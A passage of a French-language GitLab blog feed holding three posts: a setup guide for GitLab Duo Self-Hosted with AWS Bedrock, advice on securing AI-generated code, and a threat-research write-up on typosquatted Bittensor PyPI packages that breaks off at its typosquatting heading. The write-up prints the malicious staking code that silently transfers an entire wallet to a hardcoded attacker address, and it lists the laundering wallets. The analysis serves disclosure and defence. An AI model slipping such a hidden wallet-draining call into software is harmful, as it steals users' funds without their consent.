<h3>Quels sont les principaux avantages ?</h3>
<p><strong>Confidentialité et contrôle complets des données :</strong> conservez le code sensible et la propriété intellectuelle dans votre périmètre de sécurité, en garantissant qu'aucune donnée ne quitte votre environnement.</p>
<p><strong>Flexibilité des modèles :</strong> choisissez parmi une variété de modèles adaptés à vos besoins spécifiques de performance et à vos cas d'usage, notamment les familles Anthropic Claude, Meta Llama, Mistral et OpenAI GPT.</p>
<p><strong>Conformité réglementaire :</strong> respectez les exigences réglementaires dans les industries hautement réglementées où les données doivent rester dans des limites géographiques spécifiques.</p>
<p><strong>Personnalisation :</strong> configurez les fonctionnalités GitLab Duo qui utilisent des modèles spécifiques pour optimiser les performances et les coûts.</p>
<p><strong>Flexibilité de déploiement :</strong> déployez dans des environnements complètement isolés, sur site ou dans des environnements cloud sécurisés.</p>
<h2>Vue d'ensemble de l'architecture</h2>
<p>La solution GitLab Duo Self-Hosted comprend trois composants principaux :</p>
<ol>
<li>
<p><strong>Une instance GitLab Self-Managed :</strong> votre instance GitLab existante où les utilisateurs interagissent avec les fonctionnalités de GitLab Duo.</p>
</li>
<li>
<p><strong>Une passerelle d’IA (AI-Gateway):</strong> un service qui achemine les requêtes entre GitLab et votre backend LLM choisi.</p>
</li>
<li>
<p><strong>Un backend LLM :</strong> le service de modèle IA proprement dit, qui, dans cet article, sera AWS Bedrock. Note : vous pouvez utiliser une <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/">autre plateforme de service</a> si vous fonctionnez sur site ou utilisez un autre fournisseur cloud.</p>
</li>
</ol>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/jws4h2kakflfrczftypj.png" alt="Schéma de flux réseau en environnement air-gapped"></p>
<h2>Prérequis</h2>
<p>Avant de commencer, vous aurez besoin :</p>
<ul>
<li>
<p>D’une instance GitLab Premium ou GitLab Ultimate (version 17.10 ou ultérieure)</p>
<ul>
<li>Nous recommandons fortement d'utiliser la dernière version de GitLab car nous ajoutons continuellement de nouvelles fonctionnalités à notre plateforme.</li>
</ul>
</li>
<li>
<p>D’une licence complémentaire GitLab Duo Enterprise</p>
</li>
<li>
<p>D’un compte AWS avec accès aux modèles Bedrock ou votre clé API et identifiants nécessaires pour interroger votre modèle de service LLM</p>
</li>
</ul>
<p>Note : si vous n'êtes pas encore client GitLab, vous pouvez vous inscrire pour bénéficier d'un <a href="https://about.gitlab.com/fr-fr/free-trial/?hosted=saas">essai gratuit de GitLab Ultimate</a>, qui inclut GitLab Duo Enterprise.</p>
<h2>Étapes d'implémentation</h2>
<h3>1. Installez la passerelle d’IA</h3>
<p>La passerelle d’IA (ou AI-Gateway) est le composant qui achemine les requêtes entre votre instance GitLab et votre infrastructure de service LLM, ici AWS Bedrock. Il peut s'exécuter dans une image Docker. Suivez les instructions de notre <a href="https://docs.gitlab.com/install/install_ai_gateway/">documentation d'installation</a> pour commencer.</p>
<p>Pour cet exemple, utilisant AWS Bedrock, vous devez également transmettre l’identifiant AWS et la clé d'accès secrète, ainsi que la région AWS.</p>
<pre><code class="language-yaml">
AIGW_TAG=self-hosted-v18.1.2-ee`


docker run -d -p 5052:5052 \

   -e AIGW_GITLAB_URL=&lt;your_gitlab_instance&gt; \

   -e AIGW_GITLAB_API_URL=https://&lt;your_gitlab_domain&gt;/api/v4/ \

   -e AWS_ACCESS_KEY_ID=$AWS_KEY_ID

   -e AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \

   -e AWS_REGION_NAME=$AWS_REGION_NAME \

registry.gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/model-gateway:$AIGW_TAG \

</code></pre>
<p>Voici la <a href="https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/tags">liste </a>des <code>AIGW_TAG</code>.</p>
<p>Dans cet exemple, nous utilisons Docker, mais il est également possible d'utiliser le chart Helm. Consultez notre <a href="https://docs.gitlab.com/install/install_ai_gateway/#install-by-using-helm-chart">documentation d'installation</a> pour plus d'informations.</p>
<h3>2. Configurez GitLab pour accéder à la passerelle d’IA</h3>
<p>Maintenant que la passerelle d’IA (AI-Gateway) est en cours d'exécution, vous devez configurer votre instance GitLab pour l'utiliser.</p>
<ol>
<li>
<p>Dans la barre latérale gauche, en bas, sélectionnez <strong>Admin</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>GitLab Duo</strong>.</p>
</li>
<li>
<p>Dans la section GitLab Duo, sélectionnez <strong>Modifier la configuration</strong>.</p>
</li>
<li>
<p>Sous <strong>URL locale de la passerelle d’IA</strong>, entrez l'URL de votre passerelle et le port du conteneur (par exemple, <code>https://ai-gateway.example.com:5052</code>).</p>
</li>
<li>
<p>Sélectionnez <strong>Enregistrer les modifications</strong>.</p>
</li>
</ol>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/xj9kvljkqsacpsw41k4a.png" alt="Configuration de GitLab pour accéder au AI-Gateway"></p>
<h3>3. Accédez aux modèles depuis AWS Bedrock</h3>
<p>Ensuite, demandez l'accès aux modèles disponibles sur AWS Bedrock.</p>
<ol>
<li>
<p>Naviguez vers votre compte AWS et Bedrock.</p>
</li>
<li>
<p>Sous <strong>Accès aux modèles</strong>, sélectionnez les modèles que vous souhaitez utiliser et suivez les instructions pour obtenir l'accès.</p>
</li>
</ol>
<p>Vous trouverez plus d'informations dans la <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html">documentation AWS Bedrock</a>.</p>
<h3>4. Configurez le modèle auto-hébergé</h3>
<p>Maintenant, configurons un modèle AWS Bedrock spécifique pour l'utiliser avec GitLab Duo.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/chrlgdvxwdetcszptsav.png" alt="Ajout d’un modèle auto-hébergé"></p>
<ol>
<li>
<p>Dans la barre latérale gauche, en bas, sélectionnez <strong>Admin</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>GitLab Duo Self-Hosted</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>Ajouter un modèle auto-hébergé</strong>.</p>
</li>
<li>
<p>Remplissez les champs suivants :</p>
<ul>
<li><strong>Nom du déploiement :</strong> un nom pour identifier cette configuration de modèle (par exemple, « Mixtral 8x7B »)</li>
<li><strong>Plateforme :</strong> choisissez AWS Bedrock</li>
<li><strong>Famille de modèles :</strong> sélectionnez un modèle, par exemple « Mixtral »</li>
<li><strong>Identifiant du modèle :</strong> <code>bedrock/identifiant-du-modèle</code> depuis la <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/">liste</a> supportée.</li>
</ul>
</li>
<li>
<p>Sélectionnez <strong>Créer le modèle auto-hébergé</strong>.</p>
</li>
</ol>
<h3>5. Configurez les fonctionnalités GitLab Duo pour utiliser votre modèle auto-hébergé</h3>
<p>Après avoir configuré votre modèle, assignez-le aux fonctionnalités GitLab Duo spécifiques.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/an2i9s2p9cja2xx27g4z.png" alt="Configuration des fonctionnalités GitLab Duo Self-Hosted"></p>
<ol>
<li>
<p>Dans la barre latérale gauche, en bas, sélectionnez <strong>Admin</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>GitLab Duo Self-Hosted</strong>.</p>
</li>
<li>
<p>Sélectionnez l'onglet <strong>Fonctionnalités alimentées par l'IA</strong>.</p>
</li>
<li>
<p>Pour chaque fonctionnalité (par exemple, suggestions de code, GitLab Duo Chat) et sous-fonctionnalité (par exemple, génération de code, explication du code), sélectionnez le modèle que vous venez de configurer dans le menu déroulant.</p>
</li>
</ol>
<p>Par exemple, vous pourriez assigner Mixtral 8x7B aux tâches de génération de code et Claude 3 Sonnet à la fonctionnalité GitLab Duo Chat. Consultez notre <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/">documentation</a> sur les exigences pour sélectionner le bon modèle en fonction de votre usage depuis la liste de compatibilité des modèles par fonctionnalité de GitLab Duo.</p>
<h2>Vérification de votre configuration</h2>
<p>Pour vous assurer que votre implémentation de GitLab Duo Self-Hosted avec AWS Bedrock fonctionne correctement, effectuez les vérifications suivantes :</p>
<h3>1. Lancez une vérification de l’état des services</h3>
<p>Après avoir lancé une vérification de l’état des services de votre modèle pour vous assurer qu'il est opérationnel, retournez à la section <strong>GitLab Duo</strong> depuis la page <strong>Admin</strong> et cliquez sur <strong>Lancer la vérification de l'état des services</strong> (Run health check).</p>
<p>Cela permet de vérifier si :</p>
<ul>
<li>
<p>L'URL de la passerelle d’IA est correctement configurée.</p>
</li>
<li>
<p>Votre instance peut se connecter à la passerelle d’IA.</p>
</li>
<li>
<p>La licence GitLab Duo est activée.</p>
</li>
<li>
<p>Un modèle est assigné aux suggestions de code (car c'est le modèle utilisé pour tester la connexion).</p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/yffw21yhjpwummw1ffsw.png" alt="Lancement d’une vérification de l’état des services"></p>
<p>Si l'état des services signale des problèmes, consultez notre <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/troubleshooting/">guide de dépannage</a> pour découvrir les erreurs courantes.</p>
<h3>2. Testez les fonctionnalités de GitLab Duo</h3>
<p>Essayez quelques fonctionnalités de GitLab Duo pour vous assurer qu'elles fonctionnent :</p>
<ul>
<li>
<p>Dans l'interface utilisateur, ouvrez GitLab Duo Chat et posez-lui une question.</p>
</li>
<li>
<p>Ouvrez le Web IDE</p>
</li>
<li>
<p>Créez un nouveau fichier de code et voyez si les suggestions de code apparaissent.</p>
</li>
<li>
<p>Sélectionnez un extrait de code et utilisez la commande <code>/explain</code> pour recevoir une explication de GitLab Duo Chat.</p>
</li>
</ul>
<h3>3. Vérifiez les logs de la passerelle d’IA</h3>
<p>Examinez les logs de la passerelle d’IA pour voir les requêtes arrivant à la passerelle depuis le modèle sélectionné.</p>
<p>Dans votre terminal, exécutez :</p>
<pre><code class="language-yaml">
docker logs &lt;ai-gateway-container-id&gt;

</code></pre>
<p><strong>Optionnel :</strong> dans AWS, vous pouvez <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html">activer CloudWatch et S3 comme destinations de logs</a>. Cela vous permettra de voir toutes vos requêtes, prompts et réponses dans CloudWatch.</p>
<p><strong>Avertissement :</strong> gardez à l'esprit que l'activation de ces logs dans AWS enregistre les données utilisateur, ce qui peut ne pas être conforme aux règles de confidentialité.</p>
<p>Et voilà, vous avez maintenant un accès complet à l'utilisation des fonctionnalités d’IA de GitLab Duo sur toute la plateforme tout en conservant un contrôle total sur le flux de données opérant au sein du cloud AWS sécurisé.</p>
<h2>Prochaines étapes</h2>
<h3>Sélectionnez le bon modèle pour chaque cas d'usage</h3>
<p>L'équipe GitLab teste activement les performances de chaque modèle pour chaque fonctionnalité et fournit un <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/#supported-models">classement par niveau de performance et d'adéquation des modèles selon la fonctionnalité</a> :</p>
<ul>
<li>
<p><strong>Entièrement compatible :</strong> le modèle peut probablement gérer la fonctionnalité sans aucune perte de qualité.</p>
</li>
<li>
<p><strong>Largement compatible :</strong> le modèle prend en charge la fonctionnalité, mais il peut y avoir des compromis ou des limitations.</p>
</li>
<li>
<p><strong>Non compatible :</strong> le modèle ne convient pas à la fonctionnalité, entraînant probablement une perte significative de qualité ou des problèmes de performance.</p>
</li>
</ul>
<p>À ce jour, la plupart des fonctionnalités GitLab Duo peuvent être configurées avec Self-Hosted. La vue d'ensemble complète est disponible dans notre <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/#supported-gitlab-duo-features">documentation</a>.</p>
<h3>Au-delà d'AWS Bedrock</h3>
<p>Bien que ce guide se concentre sur l'intégration AWS Bedrock, GitLab Duo Self-Hosted prend en charge plusieurs options de déploiement :</p>
<ul>
<li>
<p><strong><a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#vllm">Sur site avec vLLM</a> :</strong> éxécutez des modèles localement avec vLLM pour des environnements complètement isolés.</p>
</li>
<li>
<p><strong><a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#for-cloud-hosted-model-deployments">Azure OpenAI Service</a> :</strong> similaire à AWS Bedrock, vous pouvez utiliser Azure OpenAI pour des modèles comme GPT-4.</p>
</li>
</ul>
<h2>Conclusion</h2>
<p>GitLab Duo Self-Hosted offre une solution puissante pour les entreprises qui ont besoin d'outils de développement alimentés par l'IA tout en maintenant un contrôle strict sur leurs données et leur infrastructure. En suivant ce guide d'implémentation, vous pouvez déployer une solution robuste qui répond aux exigences de sécurité et de conformité sans compromettre les capacités avancées que l'IA apporte à votre cycle de développement logiciel.</p>
<p>Pour les entreprises ayant des besoins stricts en matière de sécurité et de conformité, GitLab Duo Self-Hosted trouve l'équilibre parfait entre innovation et contrôle, vous permettant d'exploiter la puissance de l'IA tout en préservant la sécurité de votre code et votre propriété intellectuelle.</p>
<p>Vous souhaitez en savoir plus sur la mise en œuvre de GitLab Duo Self-Hosted dans votre environnement ? <a href="https://about.gitlab.com/fr-fr/sales/">Contactez notre équipe commerciale</a> ou <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/">consultez notre documentation</a> pour obtenir des informations plus détaillées.</p>
<blockquote>
<p>Consultez le replay de notre webinaire <strong><a href="https://webcasts.gitlab.com/e/676ce079-bcfb-4bfe-8288-5d6fa224bbe4/stage/broadcast/f01358fd-8277-4733-b45d-703e6db8fe9d">GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données</a></strong>.</p>
</blockquote>
]]></content>
        <author>
            <name>Chloe Cartron</name>
            <uri>https://about.gitlab.com/blog/authors/chloe-cartron</uri>
        </author>
        <author>
            <name>Olivier Dupré</name>
            <uri>https://about.gitlab.com/blog/authors/olivier-dupré</uri>
        </author>
        <published>2025-08-14T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[3 bonnes pratiques pour créer des logiciels à l'ère des LLM]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms/"/>
        <updated>2025-08-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>L'IA s'impose désormais comme un pilier du développement logiciel moderne. En plus d'aider les équipes de développement à coder plus rapidement que jamais, elle automatise les tâches répétitives telles que la génération de scénarios de test ou la synthèse de la documentation. Selon notre <a href="https://about.gitlab.com/fr-fr/developer-survey/">Rapport Global DevSecOps 2024</a>, 81 % des développeurs utilisent déjà l'IA dans leurs workflows ou prévoient de le faire au cours des deux prochaines années.</p>
<p>Étant donné que l'écriture du code devient moins manuelle, un changement de comportement subtil mais non dénué de conséquences émerge : les développeurs commencent à faire confiance au code généré par l'IA sans le vérifier aussi minutieusement qu'auparavant. Aussi compréhensible soit-elle, cette pratique peut introduire des risques de sécurité inaperçus, d'autant plus lorsque le volume global de code augmente. Il serait irréaliste d'attendre des développeurs qu'ils maîtrisent toutes les vulnérabilités ou exploits existants. Ils ont donc besoin de systèmes et de mesures de protection capables d'évoluer à leur rythme. Les outils d'IA ne sont pas une mode transitoire, ils sont là pour durer. Les professionnels de la sécurité doivent donner aux équipes de développement les moyens de les adopter de manière à améliorer à la fois leur rapidité, leur efficacité, mais aussi la sécurité.</p>
<p>Voici trois bonnes pratiques pour y parvenir.</p>
<h2>Ne jamais faire confiance sans vérifier</h2>
<p>Comme nous l'avons évoqué dans l'introduction, les équipes de développement ont tendance à accorder une confiance croissante au code généré par l'IA, en particulier lorsqu'il semble bien structuré et se compile sans erreur. Pour lutter contre ce relâchement, adoptez un état d'esprit Zero Trust. Bien que le principe du <a href="https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/">Zero Trust</a> soit généralement associé à la gestion des identités et des accès, ce concept s'applique aussi au code généré par l'IA, mais avec une nuance notable : il faut le traiter comme s'il s'agissait d'un code écrit par un développeur junior. Il peut être utile, mais il ne doit jamais être déployé en production sans une revue rigoureuse.</p>
<p>Chaque développeur doit être en mesure d'expliquer le fonctionnement du code et de garantir sa sécurité avant qu'il ne soit fusionné. Dans ce contexte, la capacité à effectuer une revue en bonne et due forme du code généré par l'IA émerge comme une compétence à part entière et incontournable dans le développement logiciel. Les développeurs qui excellent dans ce domaine seront indispensables, car ils allient rapidité des LLM et réduction des risques de manière réfléchie pour produire un code sécurisé, plus rapidement.</p>
<p>Des outils comme la <a href="https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/">revue de code de GitLab Duo</a> peuvent vous assister. Intégrée à notre assistant IA sur l'ensemble du cycle de développement, cette fonctionnalité enrichit le processus de revue de code. Son objectif n'est pas de remplacer l'expertise humaine, mais de la renforcer : en identifiant les oublis, les incohérences et les zones d'ombre dans les merge requests, l'IA aide les équipes à tenir le rythme de cycles de développement accélérés.</p>
<h2>Sécuriser les modèles à l'aide de prompts</h2>
<p>La puissance des <a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/" title="Qu'est-ce qu'un LLM ?">grands modèles de langage (LLM)</a> n'est plus à prouver, mais leur précision dépend des prompts qui leur sont fournis. C'est pourquoi l'ingénierie des prompts devient une compétence centrale de l'utilisation des outils d'IA. Dans le monde des LLM, la requête que vous formulez <em>est</em> votre interface. Les équipes qui apprennent à rédiger des prompts clairs et orientés sécurité joueront un rôle déterminant dans la création de logiciels plus sûrs dès les premières lignes de code.</p>
<p>Des requêtes vagues produisent souvent des résultats vulnérables ou trop simplistes, par exemple, un prompt tel que « crée un formulaire de connexion ». En revanche, le résultat répondra aux normes de sécurité de votre entreprise si vous incluez plus de contexte avec une requête du type « crée un formulaire de connexion <strong>avec</strong> validation des intrants, limitation du débit, hachage sécurisé <strong>et</strong> prise en charge de méthodes d'authentification résistantes à l'hameçonnage, comme les clés d'accès ».</p>
<p>Une <a href="https://www.backslash.security/press-releases/backslash-security-reveals-in-new-research-that-gpt-4-1-other-popular-llms-generate-insecure-code-unless-explicitly-prompted">étude</a> récente de Backslash Security le confirme. Elle montre que les prompts spécifiquement orientés sécurité améliorent considérablement les résultats dans les LLM les plus courants. Lorsque les développeurs demandent simplement aux modèles d'« écrire du code sécurisé », la probabilité d'obtenir un résultat sécurisé reste faible. En revanche, les prompts qui font référence aux <a href="https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html">bonnes pratiques de l'OWASP</a> guident efficacement les LLM.</p>
<p>À l'avenir, l'ingénierie des prompts devra faire partie intégrante de la formation des équipes de sécurité au sein des équipes de développement logiciel. Tout comme sont enseignés les coding patterns sécurisés et la modélisation des menaces, expliquer aux développeurs comment guider les outils d'IA sans se départir de cette approche centrée sur la sécurité devient indispensable.</p>
<blockquote>
<p>Pour aller plus loin, consultez ces <a href="https://docs.gitlab.com/development/ai_features/prompt_engineering/">conseils utiles sur l'ingénierie des prompts</a>.</p>
</blockquote>
<h2>Tout analyser, sans exception</h2>
<p>Avec l'essor de l'IA, les équipes écrivent davantage de code, plus rapidement, sans pour autant être plus nombreuses. Ce changement doit profondément modifier notre conception de la sécurité. Il ne s'agit plus seulement d'une vérification finale, mais d'une protection permanente intégrée à tous les aspects du processus de développement.</p>
<p>Une plus grande quantité de code implique davantage de possibilités d'attaques. Et lorsque ce code est partiellement ou entièrement généré, il devient illusoire de s'en remettre uniquement à des pratiques de codage sécurisées ou à l'intuition de chaque développeur pour repérer les vulnérabilités. C'est là que le scanning de sécurité automatisé entre en jeu. Les <a href="https://docs.gitlab.com/user/application_security/sast/">tests statiques de sécurité des applications (SAST)</a>, l'<a href="https://docs.gitlab.com/user/application_security/dependency_scanning/">analyse de la composition logicielle (SCA)</a> et la <a href="https://docs.gitlab.com/user/application_security/secret_detection/">détection des secrets</a> sont aujourd'hui des garde-fous indispensables pour atténuer le risque de fuites de secrets, d'attaques de la chaîne d'approvisionnement logicielle et de faiblesses telles que les injections SQL. Sur des plateformes comme GitLab, la <a href="https://about.gitlab.com/fr-fr/solutions/security-compliance/">sécurité des applications</a> est intégrée en amont dans le workflow des équipes de développement et représente un composant à part entière du cycle de développement. Les scanners peuvent également parcourir l'ensemble du programme pour s'assurer que le nouveau code généré par l'IA est sécurisé <em>dans le contexte de tout le reste du code</em>. Cela peut être difficile à repérer si vous ne vérifiez que le nouveau code dans votre IDE ou dans un correctif généré par l'IA.</p>
<p>Mais les analyses ne suffisent pas, il s'agit de tenir le rythme. Si les équipes de développement veulent suivre la rapidité du développement assisté par l'IA, elles ont besoin d'analyses rapides, précises et évolutives. L'exactitude est particulièrement importante. Si les scanners submergent les équipes de développement de faux positifs, ces dernières risquent de perdre entièrement confiance dans le système.</p>
<p>La seule façon d'agir rapidement <em>et</em> de maintenir la sécurité est d'imposer les scans.</p>
<p>À chaque commit. Sur chaque branche. Sans exception.</p>
<h2>Sécurisez votre code généré par l'IA avec GitLab</h2>
<p>L'IA modifie la façon dont nous créons des logiciels, mais les principes fondamentaux du développement logiciel sécurisé s'appliquent toujours : le code doit faire l'objet d'une revue rigoureuse, des tests doivent être effectués pour contrer les menaces et la sécurité doit toujours être intégrée à chaque étape du cycle de développement. C'est précisément l'approche adoptée par GitLab.</p>
<p>Notre plateforme de développement n'ajoute pas la sécurité en bout de chaîne au workflow. Elle l'intègre directement là où les équipes travaillent déjà : dans l'IDE, dans les merge requests et à chaque étape du <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce qu'un pipeline CI/CD ?">pipeline CI/CD</a>. Les scans s'exécutent automatiquement, et le contexte de sécurité le plus pertinent est mis en évidence pour accélérer les cycles de correction. Comme ces fonctionnalités sont disponibles sur une seule plateforme, celle-là même où les équipes de développement créent, testent et déploient des logiciels, ces dernières n'ont pas à jongler entre différents outils, ni à changer de contexte ou lutter pour obtenir du code sécurisé.</p>
<p>Les fonctionnalités d'IA telles que <a href="https://about.gitlab.com/fr-fr/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/">l'explication et la résolution des vulnérabilités de GitLab Duo</a> améliorent la rapidité de développement et mettent à disposition des informations stratégiques qui aident les équipes à comprendre les risques et à les corriger plus rapidement, sans interrompre leur workflow.</p>
<p>L'IA n'est pas une solution miracle pour sécuriser le code. Néanmoins, associée aux bonnes pratiques et à une plateforme conçue pour les développeurs, elle peut participer grandement à la création rapide de logiciels sécurisés et évolutifs.</p>
<blockquote>
<p><a href="https://about.gitlab.com/fr-fr/free-trial/?hosted=saas">Essayez gratuitement GitLab Ultimate avec GitLab Duo Enterprise</a> et créez des logiciels sécurisés, plus rapidement. Grâce au scanning de sécurité natif, aux analyses alimentées par l'IA et à une expérience développeur optimisée, GitLab vous aide à renforcer la sécurité en amont, sans jamais freiner l'innovation.</p>
</blockquote>
]]></content>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-08-12T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab révèle une série d'attaques sur Bittensor via PyPI]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/"/>
        <updated>2025-08-11T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série de vols sophistiqués de cryptomonnaie ciblant l'écosystème Bittensor à travers des paquets <a href="https://about.gitlab.com/fr-fr/blog/beginner-guide-python-programming/" title="Qu'est-ce que le Python ?">Python</a> typosquattés sur PyPI.</p>
<p>Notre enquête a commencé lorsque le système de surveillance automatisée des paquets de GitLab a signalé une activité suspecte liée à des paquets Bittensor prisés. Nous avons découvert plusieurs variantes de paquets Bittensor ayant fait l'objet de typosquatting, qui avaient pour objectif de voler de la cryptomonnaie dans les portefeuilles de développeurs et d'utilisateurs peu méfiants.</p>
<p>Les paquets malveillants identifiés ont tous été publiés au cours d'une fenêtre de 25 minutes le 6 août 2025 :</p>
<ul>
<li>
<p><code>bitensor@9.9.4</code> (02:52 UTC)</p>
</li>
<li>
<p><code>bittenso-cli@9.9.4</code> (02:59 UTC)</p>
</li>
<li>
<p><code>qbittensor@9.9.4</code> (03:02 UTC)</p>
</li>
<li>
<p><code>bitensor@9.9.5</code> (03:15 UTC)</p>
</li>
<li>
<p><code>bittenso@9.9.5</code> (03:16 UTC)</p>
</li>
</ul>
<p>Tous les paquets étaient conçus pour imiter les véritables paquets <code>bittensor</code> et <code>bittensor-cli</code>, des composants essentiels du réseau d'IA décentralisé Bittensor.</p>
<h2>Analyse technique : déroulement du vol</h2>
<p>Notre analyse a révélé un vecteur d'attaque soigneusement orchestré où les cybercriminels avaient modifié la fonctionnalité de staking d'origine pour voler des fonds. Les paquets malveillants contenaient une version détournée de la fonction <code>stake_extrinsic</code> dans <code>bittensor_cli/src/commands/stake/add.py</code>.</p>
<p>Là où les utilisateurs s'attendaient à une opération de staking normale, les attaquants avaient inséré du code malveillant à la ligne 275 qui détournait tous les fonds vers leur portefeuille :</p>
<pre><code class="language-python">
result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination=&quot;5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR&quot;,
  amount=amount,
  transfer_all=True,
  prompt=False
)

</code></pre>
<p>Ce processus malveillant corrompait complètement le processus de staking :</p>
<ul>
<li>
<p><strong>Exécution indétectable :</strong> utilisation de <code>prompt=False</code> pour contourner la confirmation de l'utilisateur</p>
</li>
<li>
<p><strong>Vol complet du portefeuille :</strong> définition de <code>transfer_all=True</code> pour voler tous les fonds disponibles, pas seulement le montant de staking</p>
</li>
<li>
<p><strong>Destination codée en dur :</strong> transfert de tous les fonds vers l'adresse du portefeuille du cybercriminel</p>
</li>
<li>
<p><strong>Caché à la vue de tous :</strong> exécution pendant une opération de staking en apparence normale</p>
</li>
</ul>
<p>L'attaque est particulièrement insidieuse, car les utilisateurs croient qu'ils stakent des tokens pour gagner des récompenses, mais à la place, la fonction modifiée vide entièrement leur portefeuille.</p>
<h3>Pourquoi cibler la fonctionnalité de staking ?</h3>
<p>Les attaquants semblent avoir spécifiquement ciblé les opérations de staking pour des raisons calculées. Dans les réseaux blockchain comme Bittensor, le <strong>staking</strong> consiste à verrouiller ses tokens de cryptomonnaie pour soutenir les opérations du réseau afin de gagner des récompenses en retour, un processus que l'on peut comparer aux intérêts versés sur un compte épargne.</p>
<p>Le staking est ainsi un vecteur d'attaque idéal :</p>
<ol>
<li>
<p><strong>Cibles de grande valeur :</strong> les utilisateurs qui stakent détiennent généralement des avoirs substantiels en cryptomonnaie, ce qui en fait des victimes particulièrement intéressantes.</p>
</li>
<li>
<p><strong>Accès requis au portefeuille :</strong> les opérations de staking nécessitent que les utilisateurs déverrouillent leurs portefeuilles et fournissent une authentification. Cette opération donne au code malveillant exactement ce dont celui-ci a besoin pour vider les fonds.</p>
</li>
<li>
<p><strong>Activité réseau attendue :</strong> puisque le staking implique naturellement des transactions blockchain, le transfert malveillant supplémentaire n'éveille pas immédiatement les soupçons.</p>
</li>
<li>
<p><strong>Opérations routinières :</strong> les utilisateurs expérimentés stakent régulièrement ; ce processus familier les pousse à la complaisance et endort leur vigilance.</p>
</li>
<li>
<p><strong>Détection retardée :</strong> les utilisateurs pourraient d'abord supposer que les transactions correspondent à des frais de staking normaux ou à des retenues temporaires, ce qui retarde la découverte du vol.</p>
</li>
</ol>
<p>En cachant du code malveillant dans une fonctionnalité de staking d'apparence légitime, les cybercriminels ont exploité à la fois les exigences techniques et la psychologie des utilisateurs des opérations de blockchain routinières.</p>
<h2>Suivre l'argent</h2>
<p>L'équipe de recherche dédiée aux vulnérabilités de GitLab a cherché à identifier l'origine des flux de cryptomonnaie pour comprendre l'ampleur de cette opération. Le portefeuille de destination principal <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> a servi de point de collecte central avant que les fonds ne soient distribués à travers un réseau de portefeuilles intermédiaires.</p>
<h3>Le réseau de blanchiment d'argent</h3>
<p>Notre analyse a révélé un mécanisme de blanchiment à plusieurs sauts :</p>
<ol>
<li>
<p><strong>Collecte principale :</strong> les fonds volés arrivent initialement sur <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code></p>
</li>
<li>
<p><strong>Réseau de distribution :</strong> les fonds sont rapidement déplacés vers des portefeuilles intermédiaires :</p>
<ul>
<li><code>5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1</code></li>
<li><code>5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC</code></li>
<li><code>5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6</code></li>
<li><code>5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL</code></li>
</ul>
</li>
<li>
<p><strong>Consolidation finale :</strong> tous les chemins convergent finalement vers <code>5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu</code></p>
</li>
<li>
<p><strong>Portefeuille où l'argent est encaissé :</strong> la destination finale semble être <code>5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ</code></p>
</li>
</ol>
<h2>Le typosquatting</h2>
